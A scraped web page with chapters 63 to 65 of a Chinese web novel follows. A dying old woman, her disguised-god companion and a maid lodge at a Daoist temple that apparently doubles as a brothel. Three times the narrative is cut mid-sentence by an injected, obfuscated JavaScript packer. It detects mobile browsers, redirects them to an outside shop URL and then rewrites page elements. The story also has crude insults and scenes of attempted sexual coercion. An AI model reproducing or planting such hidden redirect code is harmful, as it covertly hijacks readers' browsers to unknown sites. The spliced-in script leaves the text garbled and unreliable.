她一边吃着糕点,一边叽叽喳喳道:“出来真好呀!我好久好久没有出来了,也不用跟别人共享老爷。” “夫人,你吃不吃糕点呀?” “你不吃的话,我可要全吃光喽。夫人,以后,你去哪儿都带着我吧,我愿意跟着你!” 花祝年撩开绸帘,垂眸看着马车外面,街道上的凄惨景象,轻喃道:“好。” 现在虽说是乱世,可也只是底层的乱世,于达官贵人而言,依旧是过得很好的。 他们在任何情况下,都可以过得很好。 从来不因世道的改变而改变,永远有着独到的眼光,去归顺于新的王。 她活了五十年,一直都是在过自己的小日子。 从来没有如此渴望过权力。 有时候,她会想,如果她拥有滔天的权力,是否还能保持现在的心境呢? 花祝年放下窗边的帘子,不愿再垂眸看众生。 囡吉忽然尖叫一声,手中的糕点掉落。 “夫人,你怎么,在流鼻血?” 花祝年不经意地低头,血迹滴落在她胸前的衣服上,一滴接一滴地,像一朵朵绽开的褐红色小花。 衡羿连忙递过手帕,让她擦一擦。 他知道,此刻她的身体已经是极限了。恐怕,到家后没几天,就要离开了。 他们相处的时间,也太短暂了。 他并没有给她多少风花雪月的事,在人间的这些日子,除了挨她的打,就是挨她的骂。 好像他怎么做,都很难如她的意。 囡吉看着花祝年虚弱的样子,突然跪下来求饶:“都是我不好,吃了夫人的糕点。老爷说,那是补气血的。我一时贪吃,就没顾着夫人。” 花祝年倒没怎么把流血当回事儿。 “不关你的事,糕点太甜了,齁甜,我年纪大了,吃了也是烧心。别听你家老爷的,他懂个屁!” 囡吉哭哭啼啼地被花祝年扶了起来。 后面,再没碰过糕点一下。 老爷吩咐过,虽说她名义上,是跟着薛凡的,可实际上是盯着夫人的。 夫人路上不能出半点闪失。 不然,回去她就要被喂野狗了。 她不想跟那些犯错的下人一样,死后连个全尸都保不住。 老爷虽然一直都待她很好,可若是翻起脸来,那是连讨饶的余地都没有的。 囡吉眼泪汪汪地看着花祝年,最后一个没忍住,突然抱着她哭了起来。 “夫人,你可千万不要有事啊!我不想死,我还没活够呢。我害怕。” 花祝年虽然从未对宋礼遇妥协过,可是她并不讨厌那些对宋礼遇妥协的人。 如果不是没有办法,谁想跟宋礼遇那样的人过日子呢? 况且,还是这么小的一个小姑娘。 她跟绒绒的年纪差不多。 花祝年的包容性很强,从来不把自己所坚持的东西,强加在旁人身上。 当初,她不过是幸运,遇到了很好的爹娘。 爹娘没有贸然地强迫她嫁人,不会因为她拒绝嫁人,就将她赶出家门,让她漂泊无依。 可并不是所有人,都如她这般幸运。 也有很多人,是从小就被家人洗脑的。 只为了将他们塑形为,可以被当成礼物送出去的样子。 这并不是孩子的错。 花祝年对囡吉是很怜惜的。 就像怜惜另一个平行时空的自己一样。 “我不会有事的。之前,在家的时候,也经常流鼻血。” 囡吉哭道:“可是,你的脸色好苍白啊。怎么会这样啊?明明在老爷家,还是好好的。” 在那样险象环生的地方,花祝年始终是强撑着一口气的。 生怕一不小心,就落了下风。 现在离开了那里,心里自然是轻松的,但可能也正因如此,才让撑着的那口气吐了出来。 病相才会突然显露得严重吧。 出城后,他们没有投宿在什么客栈,而是找了一家道观。 里面全是坤道,都是女孩子。 花祝年准备把宋礼遇给她的那些东西全捐了。 从天下人手里,掠夺来的天下之财,最后理应再送还给天下人。 只是,她可能没办法一一送到天下人手里了。 就留给这些坤道吧。 本来,她是不想再进任何宗教场所的。 但可能是,仍旧抱着一丝幻想,还是来这里投宿了。 娘曾经带着她几下江南,也有在沿途的道观投过宿。 里面的那些坤道,个个都是饱读诗书。 无人理会世俗,都在求道升仙。 花祝年就是在那里才知道,女人是可以一辈子,不用嫁人的。 娘说,在这个时代,女人追求权力和修仙,都是很稀罕的事。 也是很令人敬佩的事。 众生皆困于自身的既定框架之中,不得解脱。 能挣脱出来的,都是心性坚定的奇人。 不过,她小的时候,世道还没现在这样乱。 不知道这些修道之人,如今在乱世,是否还有良好的环境,能去追寻心中想要的东西。 花祝年轻扣着道观的门,一名年轻的坤道走了出来。 对方向她行了个礼,整个人清清冷冷的。 花祝年觉得自己来对了地方。 不过,可能是出于试探的心思,她还是不免问道:“我能,看看你们这儿的功德碑吗?” 爹娘曾经在各地的宗教场所,都有所捐助。 不出意外的话,这里也是有的。 小坤道探出头,看了看她身后的车队,将几人迎了进去。 花祝年被带到功德碑前,跟之前在寺庙里有所不同的是,这里的功德碑擦得很干净。 她拿着烛火找到了爹娘的名字。 小坤道 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囡吉闷闷不乐道:“夫人为什么要全都捐掉啊?她是不是信道信魔怔了?宁可把钱给虚无缥缈的神仙享受,也不留着自己用。她真是不懂得好好爱自己啊,怎么这样痴愚?” 衡羿想起小信徒宁可让贺平安吃咸菜,也要留出钱来给他买上好的香烛,不禁笑出了声。 他宠溺地轻喃道:“她本来,就是很魔怔的信徒。狂热又固执,是我见过的,最难教化的人。” 不过,如果不是她几十年如一日地这样魔怔,他又怎会被她打动,下来守着她呢? 当一个人,魔怔到一定地步的时候,连真神都会觉得害怕。 甚至,感到亏欠。 他的小信徒,就是有这样的本事。能让所有高高在上的人,突然就丧失了俯视她的底气。 在人间的高位者,宋礼遇对她俯首称臣,害怕她身上那些难以磨灭的野性和暴力。 在仙界的高位者,哪怕如他一般,没做过什么错事,也是极为害怕的。害怕她如同顽石一般,不可调伏,不可教化,不可规劝。 她要做到的事,就一定要做成。 世间种种压抑而强悍的阻碍,只要到了她面前,仿佛如涓涓水流淌过一般,难以阻挡她的坚定的心。 旁人说她痴愚也好,说她迷信也罢,都不会对她造成一丝影响。 他的小信徒,幸亏是人。如果是魔的话,那他可要头疼好一阵子了。 囡吉叹气道:“可是,以后的日子,怎么过啊?” 衡羿好言劝她道:“所以,你现在回去,还来得及。跟着花大娘,日后是要吃苦的。” 囡吉思索道:“回去要喂野狗,留下来只是吃苦,那我还是吃苦吧。” 衡羿觉得很无奈,他看了看这家道观的环境,干净整洁,萦绕着香火气。 “不如,你来这里修道好了。” 囡吉突然把碗一摔:“神经!在家我只要伺候老爷一个就好,出来也不过是跟着夫人吃几天苦,这都没什么的。你突然让我来这里修道,一下子伺候那么多人,我哪儿伺候得过来?” 衡羿不解道:“只是修道而已,上哪儿伺候人去?你唯一要伺候的,只有自己的心,和旁人是没什么相干的。” 囡吉冷笑一声:“一看你就是乡下来的土包子。你也不看清楚这到底是什么地方,你以为这跟你们小地方那道观一样呢?” 他疑惑道:“这里的道观,是大了些。不过,都是修道场所,似乎跟大小没什么关系吧。这有什么不一样的?” 囡吉大口大口地吃着斋饭,一副胸有成竹的样子:“我不跟你这种没见过世面的愚人计较!且等着看吧,过不了多久,你就知道,这到底是什么地方了。” 63. 就当他求求她 花祝年商量完捐赠的事,就如释重负地过来吃斋饭了。 她是以国号、年号加百姓的名义捐出去的。 摇摇欲坠的王朝,不知道什么时候就会覆灭,记与不记都没什么差别。 反正,这三十年来,江山一直在易主,从来没有真正地安定过。 但在这个乱世生活的百姓,是值得被记住的。 一波又一波的人,给他们希望,一波又一波的人,背叛他们。 可他们,总是那样不知苦痛,不知疲倦地活着。 每天只要能吃饱,就觉得赚到了。 人间总是乱糟糟的,有那么多活不下去,想要轻生的人。 可是,也有很多,为了活下去,付出很多努力的人。 活着,比死亡需要更大的勇气。 花祝年没有见过真正的神仙,但她此刻却无比希望,世间真的有一种冥冥之中的神力,在掌控着众生的命运。 那种力量,可以捞起在苦海中挣扎的所有人。 短暂地信一次,好像,也没什么关系。 她的身体仍旧不大好。 虽然不至于进食困难,但至少荤腥油腻的东西,是完全吃不下了。 带一点儿油花儿的都不行。 脾胃的运化能力,已经到极限了。 其实,这主要怪衡羿。 花祝年的确寿命不多了,但她如果吃得一直都很清淡,也不至于病得这样快。 可惜,他这一路上,总是什么好就给她吃什么。 人这一生,根据自身福德的多少,吃下去的东西是有数的。 花祝年如果没有背离天命,福德还是很深厚的,不然也不会哐哐扣功德,连喝口水都扣功德,还能活了这么多年。 但是,本来三个月所能吃到的荤腥,衡羿在路上的一个多月,几乎让她吃了原本数量的好几倍,这自然会对她的寿命有所影响。 并不是上天看不过去,有意削减花祝年的寿命,试图拆分他们二人。 就单纯从她的身体承受能力上来讲,也受不了衡羿这样。 哪怕是给病重的病人进补,都是要讲究定时定量的。 从没有人像他这样大量投喂。 真是没人能从上天这里讨到一点好处,哪怕是天道选定的神,也套不得半点近乎。 该失去的,同样会失去。 他越是想补偿,越是想让她少受点苦,却偏偏致使她脾胃受损,运化能力大大减弱。 之前每隔一个月,还能吃点儿贺平安买回来的肉。 现在是一点肉都吃不下了。 人们常说的虚不受补,就是这样吧。 任何补品,有益于身体的东西,她都是吃不下去的。 囡吉带来的那些补气血的糕点,花祝年只是闻闻气味,就觉得胃里很不舒服。 她吃了几口斋饭,看起来都是素的,可不知为什么总觉得有股荤味儿。 最后,只能要了碗小米粥来喝。 小米粥里放了山药泥,喝着还算顺当。 花祝年托着碗,看着窗外的月亮:“我有点儿想家了。” 衡羿算了算日子:“坐马车的话,很快。五天左右就能回去了。” 囡吉有些不理解,她轻喃道:“外面到处都在死人,哪里有老爷家好呢?” 花祝年欺骗宋礼遇,是不怎么心虚的。 可是,连带着囡吉一起被骗,终究是有些于心不忍。 她放下手中的粥碗,认真地对囡吉说道:“你确定,要跟我们一起走吗?” “对啊。这是老爷吩咐的,我,我以后,就是薛凡的人。” “可是,我们不会再回来了。如果,你现在要回去,还是来得及的。我之后,都会一直待在原来的地方。虽然我的确是跟你家老爷成了婚,但这婚事我是不承认的。” 她的确欺骗了他。 不过,似乎没有人规定过,权臣不能被村妇骗。 她对自己的身体情况很清楚。 目前来看,她是撑不了多久了,说不定,回去就入土的那种。 至于宋礼遇,就算他派人来抓她,那些人找到的,可能也不过是一处孤坟。 哈哈哈哈哈哈哈哈哈! 花祝年从来没有惧怕过死亡。 不过,能在死前玩宋礼遇一遭,她还是觉得蛮痛快的。 可囡吉是没什么错的,她觉得自己有必要将实情告知于她。 让她决定去留。 哪料囡吉听完后,笑得比她还要肆意。 “夫人,老爷当然知道你不愿意回去啦。这你就放心吧,不用有任何欺骗他的心理负担。” 花祝年弱弱地说道:“我,我没有啊。” 囡吉满不在意道:“对我也不必有!老爷说过,不管你愿不愿意,最终都会回到他身边的。他一直都是看得很远的人,我跟你,都会再回去的。” 花祝年无奈地笑了笑:“他看得再远,也看不出人的命数。” 囡吉手里的包子,突然掉落在桌子上。 “夫人,这倒是真的。老爷吩咐我,让我路上照顾好你。如果你出了什么事,回去我是要被喂野狗的。你可一定要活着,至少也要活着被老爷接回去。” 花祝年惆怅道:“那有点儿难。我,我可能活不到那时候了。如果回不去的话,不如,你逃了吧。” 囡吉急得痛哭出声:“我为什么要逃?我从来没有离家这样远过!好歹,我也是京城的人。老爷说让我跟着你,虽然路途遥远,但总能再回去的。为什么要让我流落在外呢?” 花祝年想了想道:“或者,你留下来修道呢?我刚刚跟这里的师父聊过,给人感觉是个潜心修道的人。你跟着她,应该能免去世俗的干扰。” 囡吉抹了把脸上的泪水,突然把心一横:“我们先住一晚看看吧。如果住完之后,夫人还是要我留在这里的话,那我就留下来。” 衡羿看小信徒面前的粥有些凉了,就帮她重新盛了碗热的。 将她原来的那碗,自己吃了进去。 山药熬煮得十分软烂,几乎和米汤融合在了一起。 他轻咽下一小口,感受着她喝下去的感觉。 如今,她就只能吃这些了吗? 衡羿至今,仍旧不知道,是自己之前在路上经常投喂她荤腥,导致她现在半点荤的都吃不下。 他只知道,她会比之前更早一些离开人世,却并不知道是因为他。 想来也是,只不过是几口荤腥而已。谁能想到上天会计较得那样仔细,多吃一口都不行。 夜里,他躺在床上,想着今后的日子。 相处一天,就少一天。 她真的不能去投胎吗?做了孤魂野鬼,要受更多欺负的。 有时候,他真的很讨厌她的倔强。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450457|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半点用都没有。 稍微妥协一下又会怎么样呢? 她自己过不好,连带着他也跟着费心。 可是,他根本就不想再往她身上浪费半分心思了。 凭什么? 她到底凭什么,让他这样为她牵肠挂肚的? 她是喜欢他,可是,每一个喜欢他的人,他都要回应吗? 如果不是她那样痴愚,她对他的喜欢,本不该在他这里留有半分印象。 他对她真是又嫌弃又怜惜。 轮转百千万世,都没遇到过这么难缠的人。 这个情关,他明明是不用过的!是她求来的,是他施舍的。 本来他是极有定力的神。 当一个神极度温和的时候,也是极为冷漠的。 因为,他根本就不可能像上一任神君那样至情至性,最后坠魔。 永远清醒而自持。 这才是他。 可他,居然为了区区一个,因为不喜欢这世道,就不肯投胎的犟种,在道观里翻来覆去地睡不着觉。 不知道是她神经,还是他神经。 她到底为什么要这样对他?让他的心不得安宁! 他究竟怎么她了? 若说对她不好,贺平安对她最不好。若说让她讨厌,宋礼遇最让她讨厌。 他明明是她最喜欢的人。 可是,却是最为她费心的人。他都已经不是人了,到底为什么还要遭这个罪? 一个已经没有七情六欲的神,现在究竟在发什么愁? 衡羿一想到她死后的麻烦事,就气得睡不着觉。 关键是,他都不知道该气谁。 她到底为什么要这么喜欢他? 就当他求求她,不要再供奉他了,也不要再喜欢他了。 他一个神,根本不在乎,也不需要! 衡羿正气得睡不着觉的时候,门突然打开了。 他记得自己有卡过门的,不知道怎么弄开的。 一个坤道走了进来。 男女有别。 衡羿翻了个身继续睡。 他觉得此人应该是来找什么东西的。 毕竟,这间屋子,他刚住进来的时候,就隐约有股香气,不是上供的檀木香气,更近似于女子惯用的脂粉香。 可能,这屋子,是她腾出来的。 那她大半夜地来找东西,似乎也情有可原。 可他没想到的是,身后的床榻一陷,一只手直接摸了过来。 他惊得从床上坐起来,直接将人扔去了床下。 抚风摔得不轻。 她知道来这里的客人,多少都有些奇怪的癖好。 但没想到这次来的,是喜欢被女子强迫。 这可真是奇了怪了。 不过,看在他娘交了钱的份儿上,她就勉强伺候一下吧。 平日里还没强迫过男人,她也该快活快活了。 抚风从地上爬起来,就对着衡羿冲了过去。 却不成想再次被丢下床。 嘿,这个男人,真是跟她演起来了。 装什么贞洁烈男? 两个人大战了三百回合。 衡羿不仅衣服被撕得破破烂烂的,身上也被打得青一块儿紫一块儿的。 被摔去地上的抚风,才终于忍不住骂道:“不是,都来这儿了,你他妈的到底在装什么啊?” 64. 说不定我就娶你了 夜已经很深了,可花祝年房间的烛火还亮着。 囡吉趴在桌上痛哭,花祝年在一旁哄她。 门被人突然从外面推开,衡羿气冲冲地闯了进来。 花祝年斥责他道:“我一个老太婆,是不在乎什么的。可囡吉还在这里,你爹妈在家是没教过你规矩吗?已经这么晚了,进屋前不知道要敲门?你不知道尊重人的?” 她知道宋礼遇随手将囡吉给了他,可是,并不想囡吉被这后生如此随意对待。 哪能随意闯人闺房呢? 衡羿气得发笑,他走到她面前,震怒道:“你也知道尊重人?你什么时候尊重过我?你拿我当什么?” 花祝年愣怔了片刻后,一头雾水地说道:“我拿你当儿子看啊。” 她不这样说,他还没这么气。 此刻,就跟内心的想法得到证实了一样。 方才,那位闯入他房间的坤道说,是他娘给了钱,她才来对他做这种事的。 不然,她是不会来的。 衡羿本来还不怎么相信,可是花祝年有过让鲁绒绒强他的前科,这么看,也不是没可能。 所以,才怒气冲冲地过来问询。 没想到啊,没想到,她还真是拿他当儿子看。 衡羿上前一把将囡吉推开,把花祝年抱了起来。 本想重重地将她扔到床上,可是又想到她身体不好,只能做了个摔的姿势,最后还是很轻地抱放到床上。 囡吉瞬间急了眼:“你这是做什么?夫人都已经是老爷的人了,你也敢在这里造次?” 说着就要去拉拽他,却被他再次推去了地上。 摔得不轻,发髻都乱了。 花祝年抬手给了衡羿一巴掌:“你大晚上的,又在发什么疯?” “我发疯?就算我发疯,也是被你逼疯的!” 她躺在床上,斥责道:“滚出去。” “我为什么要滚?你不是致力于给我安排女人吗?” 花祝年并不知道衡羿刚刚遭遇了什么,她以为,他还是在说之前绒绒的事。 那件事,她是不心虚的。 “我说过,我有自己的理由。你理解也好,不理解也罢,我不在乎你的想法。” 她管他理不理解,绒绒嫁个好人家才是正解。 不过,此时,她倒也注意到,他身上的伤口了。 “你这是,怎么弄的?衣服怎么还破了?” 衡羿气道:“你不知道吗?这不是你想看到的吗?你不喜欢吗?” 花祝年皱着眉头,看着他这一身的凌乱,诚恳说道:“不太喜欢,太不雅了。” “你还管什么雅不雅的?你都找人强上我了,还在乎这些吗?” 花祝年不太喜欢他这么翻旧账,不过她确实做过这种事,因此倒也没怎么反驳他。 只是坦诚地说道:“这不是你问我的意见么?我还不能说了?” “能,你有什么不能的?这天下间的事,有什么是你想做没做到的呢?你不一直都是这样吗?不做到的事,就不罢休。” 花祝年轻喃道:“这倒是。” 她本就是这样的人,也不害怕指责。 固执怎么了? 痴愚的人,心力往往比其他人要强大许多的。 衡羿气得抓住她的手,就开始往自己身上摸:“干嘛找别人上我呢?你自己上多好?这么好的家世,留给别人做什么?你现在上了我,说不定我就娶你了,让你也做一次我的夫人。” 花祝年觉得他真是莫名其妙! 当初她让绒绒强迫他的事,都过去多久了,怎么还这么不依不饶的? 再者说,就算他心里有气,干嘛不早点发? 在路上揍她一顿也好啊,偏偏憋了这么久,才对她说这些嘲讽的话。 她猛地甩了他一巴掌,没理也要搅三分:“我是让人强迫过你,你要告官就去告,别在我这里发癫。要是不准备告官,就滚出去!我要休息了。” 衡羿将她水肿的手腕,摁放在枕头上,止不住地冷笑道:“你把我弄醒了,你自己倒想睡了。我告诉你,今天你要是不上我,就别想睡。” 囡吉震惊地看着衡羿,她知道他一直喜欢夫人,可是没想到居然会用这种无理取闹的方式,来得到夫人。 太缺德了。 她坐在地上骂道:“你真是有病。谁不让你睡觉,你去找谁啊。缠着夫人做什么?” 花祝年也懵了。 她都不知道,已经过去那么久的事情,他到底哪儿来这么大气性。 怎么还非要让她上他? 衡羿的泪水啪嗒啪嗒地掉落在花祝年的脸上。 “你知不知道,这里都是修道之人?” 花祝年点了点头:“我知道啊。我还捐了银子,希望能帮助到她们。” 她现在的身体已经很虚弱了,眼睛累得快要睁不开了。 “你那是捐银子吗?你是逼迫出家人来卖!你到底安得什么心?还是说,你又要救哪个姑娘出苦海,硬要把人家安排给我?我对你来说,到底是什么?只是一个工具人吗?” 越到后面,他的声音,她已经渐渐地听不清楚了。 花祝年终于疲惫地闭上了眼睛:“随便你怎么说,我要睡觉了。” 衡羿摸向她的脸:“不许睡。” 可是下一秒,就摸到了从她耳朵里,渗出来的血迹。 囡吉之前就是在为这个而哭。 她们晚上睡着睡着觉,夫人突然感觉到了什么,起身点着烛火来擦拭,生怕弄脏了道观的床铺。 夫人现在不仅流鼻血,连耳孔里都开始流血了。 她听人说,得了重病的老年人,等七窍都开始流血的时候,就是快走了。 因为身体里面的气不足了,没办法再推动血流去合适的地方。 囡吉不想花祝年走,她一看到她流血,就特别害怕。 衡羿看着自己手上的血迹,气也消了大半。 他踌躇着从床上下来,没走几步,可能是心绪不宁的缘故,就摔到在地上。 花祝年不知道是病晕过去了,还是睡过去了。 呼吸渐渐地变得均匀。 囡吉去到床边,一边哭,一边替花祝年擦拭渗出来的血迹。 衡羿从地上爬起来,做足了心理准备,才敢回过头,去看他的小信徒。 现在,他已经完全不生气了。 就是她找个女子,让对方现场强迫他给她看,他或许也会答应,只要她能活下来。 明知道她病得这样重,就不能迁就一下吗? 他也是,刚刚为什么要对她发脾气?还说了那么重的话来讽刺她。 她本就是很痴愚的人,他跟她叫什么劲呢?好好教她道理就是了,不该对她那样粗鲁的。 没有人能理解衡羿现在的心情。生气、懊悔、自责……种种情绪纠缠在了一起,变成了沉闷而压抑的痛苦。 囡吉擦拭完后,才对衡羿说道:“你现在,知道这里是什么地方了吧。” 衡羿仍旧不太清楚,他以为抚风是被小信徒强迫的。 类似于,用钱逼人家做事。就像当初逼迫鲁绒绒上他一样。 刚刚,抚风也是这样对他说的。 她说她根本不想做,可是他娘给了钱。 非要她来做。 说完,就又羞又气地出去了。 衡羿并不理解小信徒这次又是为什么,非要让一个修道之人强迫他。 可他知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465665|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,她的脑回路一向很奇怪。 想的都是常人难以理解的事。 囡吉见他一脸纠结的样子,忽地踹了他一脚:“你是不是失心疯了?夫人怎么可能找人去强迫你?别人说什么,你就信什么?” 衡羿叹气道:“你不知道,她之前就找人做过。我是经历过几次的。” 因为小信徒有过这个前科,所以,他这次很难不相信抚风的话。 囡吉忽地冷笑一声:“说你是乡下来的土包子,看来还真是。你真是比不上我家老爷,不仅比不上老爷,连我也比不上,我是跟着老爷见过世面的。” 衡羿觉得她叽叽喳喳地很烦:“你要是没别的事儿了,就去我的屋子里睡。我在这儿守着她。” 囡吉一副护主的样子:“我哪敢让你守着夫人?你又没安什么好心,刚刚还佯装生气,引诱夫人上你。” “我没有佯装生气,我是真的生气!” 至于,引诱小信徒上他,他是不认的。不过是气话,哪有引诱她。就算引诱,她对他也没兴趣。 囡吉扶着床,在地上坐了下来:“反正我不走,要走你走。” 衡羿不再理她,也坐下来守着自己的小信徒。 囡吉忍不住说道:“不是,你就真没觉得,这里跟别的道观有什么不同吗?” 衡羿回想了一下,并没有觉得有什么异常。 除了那个被小信徒安排的坤道。 囡吉叹气道:“刚刚,我们进来的时候,那位坤道是看见后面车队的标识,认出那是老爷家里的,才让我们进的。若是寻常人,根本进不来。这里是按等级才放人进来的。” 衡羿生气道:“你在胡说什么?自己没有修过道,就不要随意诋毁。人家都已经不理俗世了,就不要再以你狭隘的眼光来看人。” 囡吉突然就给气笑了:“哈哈哈哈,我是没修过道,但我伺候过人。我知道势利眼往哪儿看。” “她们是修道之人,已经断绝了七情六欲,不可能像你说的那样。这次,若不是被逼迫,也断然干不出这种事。” 囡吉靠着床边,凉凉地对衡羿嘲弄道:“说得跟你修过道一样。” “我——” 她扭头看向他:“你什么?” “没什么。” 他最初,是上衡仙君在人世的深山修道时,所遇到的一只鹤。 上衡跟他,一人一鹤,是道友。 后来,他渐渐地修成了人形,上衡每次投生为人后,都会来找他一起修道。之后,他们又一级一级地修了几千年,才共同得到成仙的。 在执掌三界之前,衡羿已经当了许久的神仙了。 只不过,那时候执掌三界的,还是上衡。当时神界的环境,比现在要混乱许多。 后来,上衡一夜坠魔,他才成了继任者。 每隔一段时间,都要下去历个百千万劫,才能回归神位。 查漏补缺人间的规则,并交付到天道那里。 世事总是在不断地流转,人心不会一成不变,规则自然也要按世情来更改。 通过不断地修正上古时期,天道所留下来的陈规,来维持三界的运转。 修道这方面,他最懂了。 如果不是为了隐瞒身份,他可能会跟她讲上三天三夜。 花祝年只不过是他最为痴愚的小信徒,可是道观的修道者,却是最为纯正的信徒。 衡羿自然还是更护着后者一些。 这也是他一听抚风的话,就过来找花祝年的原因。 他直觉问题出在她这里。 她并非修道之人,又不尊重这世间的规则,凡事只按照她自己的想法来。 就算还没有查明情况,他也觉得,今晚的事必定是她的错。 65. 他知道小信徒不是在骂他 对于这个痴愚的小信徒,衡羿始终是嫌弃之余又带了些爱怜的。 嫌弃中带着嘲弄,爱怜中掺着施舍。 他曾经看不起她因为痴愚,所做出的一切举动,尤其是对他几十年如一日的供奉。 一个在世间困了三十年,绝望至极的凡人,连自身都难保,居然在惦念着亡夫能否封神? 不是神经是什么? 衡羿是极为自持的人,但凡有一点儿能影响到他道心的,他就会跟对方断得十分干净。 拖泥带水这几个字,在他这里是从未有过的。 上衡当初同他一起修炼,可以说是整个修道生涯中,对他来说最为重要的人。 可一旦对方坠魔后,他就再没去看过他,仿佛从来没认识过这个人一样。 最温柔包容的人,往往也最为绝情。 如他这般清醒的人,是不可能跟一个脑子不清楚的凡人,有什么牵扯的。 这是他一直笃定的事。 他在最初看到她的种种举动时,脑海里想的是——好痴愚的凡人,离我远点儿,可别影响我修道。 现在想来,可能在那个时候,他就已经隐约预感到,她在未来会对他产生不可磨灭的影响了。 本来平静无波的心,突然被牵扯得极为难受。 狂热的小信徒对至高无上的神而言,像一块怎么甩都甩不掉的狗皮膏药。 强行撕下来,血肉会一同剥落。 不理她,又太碍眼,让他总是忍不住看。 不过,他虽是在心里默默地给痴愚小信徒定着罪责,却并没有想过要如何惩罚她。 他能怎么惩罚呢?当然是不跟她计较了。 不怪她。 怪他晚上没把门锁死。 怪他没有每天提醒她,不要给他安排女人。 怪他在这个市侩小老太面前,过早地露了财,让她觉得他是个香饽饽。 囡吉瞪了衡羿一眼,知道他不相信夫人,不服气地说道:“有诗云,商女不知亡国恨,隔江犹唱后庭花。薛凡,你怎么看?” “怎么突然聊这个?” “我问你呢,还是你问我呢?你只如实说自己的看法就好!” 衡羿本来有千言万语,可是话到嘴边,只说了一句:“不关歌女的事,这是曲笔。” 是的,作此诗的人,曾做过监察御史。 他知道一个王朝的弊病在哪里。 又怎么会拿歌女来说事? 囡吉冷冷一笑:“可后世真的有人拿这句诗,来骂歌女呢。一边骂,一边上。你知道他们都是什么吗?” 衡羿淡淡地吐露道:“儒生?” “不,他们畜生,是杂种,是蛆虫,说他们是狗娘养的,都是辱没了狗娘的好名声!” 衡羿心念微动,他好整以暇地看着她,这话,是谁教你说的? 每个人讲话的风格,是不一样的。 囡吉平日里讲话,像困于高墙之内,柔软又幽怨的小桃花。 可方才的话,像一把生满铁锈的铁剑,又糙又利。 刺到人的心上,不仅把人心刺个四分五裂,还留下满腔密密麻麻的铁锈。 让人疼痛之余又觉得恐惧。 在他的印象里,只有他的小信徒才会讲这种难听话。 囡吉坦白道:“这是夫人教我的。不过,她并没有直接教我,我从老爷那里听来的。老爷有次被夫人骂得嗷嗷哭,觉得找别人丢人,才去我那里的。” “她还说什么了?” “夫人还说,这群道貌岸然的烂玩意儿,被林子里横冲直撞的野猪,上个稀巴烂就老实了!” 衡羿听完蓦地觉得身下一痛。 他知道小信徒不是在骂他,但这话也忒糙了。 吓人。 囡吉的目光中,好似有绵针一般:“别说现在王朝没亡,就算是真的亡了,那也是它活该亡。一群高高在上的蠕虫,曲解诗人胸臆,嫌妓女唱歌,不知亡国恨,他们这群懦弱逼早干嘛去了?那国还没亡的时候,也没见有谁来拯救过妓女啊!他们不是上得很欢喜么?人家受苦的时候,没有动过拯救的心思,那就别怪推翻了你们这群做王八主的,人家兄弟姐妹们各自欢喜!” “可笑后世一群把书念歪了的人,不但不知道诗人在用曲笔讽刺自己,反而是把诗人所怜惜的一切,剥皮抽筋地欺负狠了,最后还要用‘不知亡国恨’来讽刺一番,仿佛只有那些士族才是正统,只有他们是忧国忧民的大好人。殊不知,他们所做的一切,都在动摇王朝的根基。这个王朝就是被他们这种人给败坏的。” 衡羿轻喃道:“怪不得你家老爷嗷嗷哭,快气死了吧。” 囡吉点了点头,越讲越起劲儿:“老爷哭得眼皮上都是青筋,嘴唇发紫,像个皱皱巴巴的烤紫薯!” “他们,是怎么突然说起这些的?” 囡吉叹了口气:“老爷去跟夫人耍贱,炫耀自己的手下人又查了几家妓院。本来是想自我标榜一下的,他真的很在意自己在夫人眼中的形象,结果被夫人骂破防了。” 衡羿回想道:“我当时在做什么?” 他怎么不记得有这回事? “你当时,在给夫人煎药。因为上一碗,被我打翻了。是老爷让我多支开你一会儿的。薛凡,你别怨我,我也是没有办法。” 衡羿轻“嗯”了一声。 他本来就是性情很温和的神,能不计较的事,一般都不会计较的。 因此,谁若是能把他给逼急了,那也算是一种本事。 可见他的小信徒多有本事。 囡吉继续说道:“夫人骂老爷,拿别人的屈辱和不堪,往自己脸上贴金,这是天下间最为人所不耻的事情。无异于拿粪水浇头,还自我感觉良好。老爷接连破大防,这才就说出了从不为外人道的查封缘由。” “谁都知道,妓院是来钱的大头,若是没有靠山的,也开不起来。可靠山与靠山之间也有诸多竞争。查封了你的,等再开业时,就是我的了。查封不过是变更的手段,从没人真正在意过那里女人的死活。无非是这个摊子干不下去,再另换一个就是了。” 衡羿听完倒也没什么反应。 世间本就是这个样子,利用各种公开的法令,来为自己谋事。 法令不容质疑,只要站在法令身后,就是所有人的爹,可以掠夺一切。 囡吉看着眼前这个土包子:“看起来,你好像知道这种事?” “为什么你觉得我会不知道?” “看你又直又愣的,别人说什么就信什么,拜倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493411|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 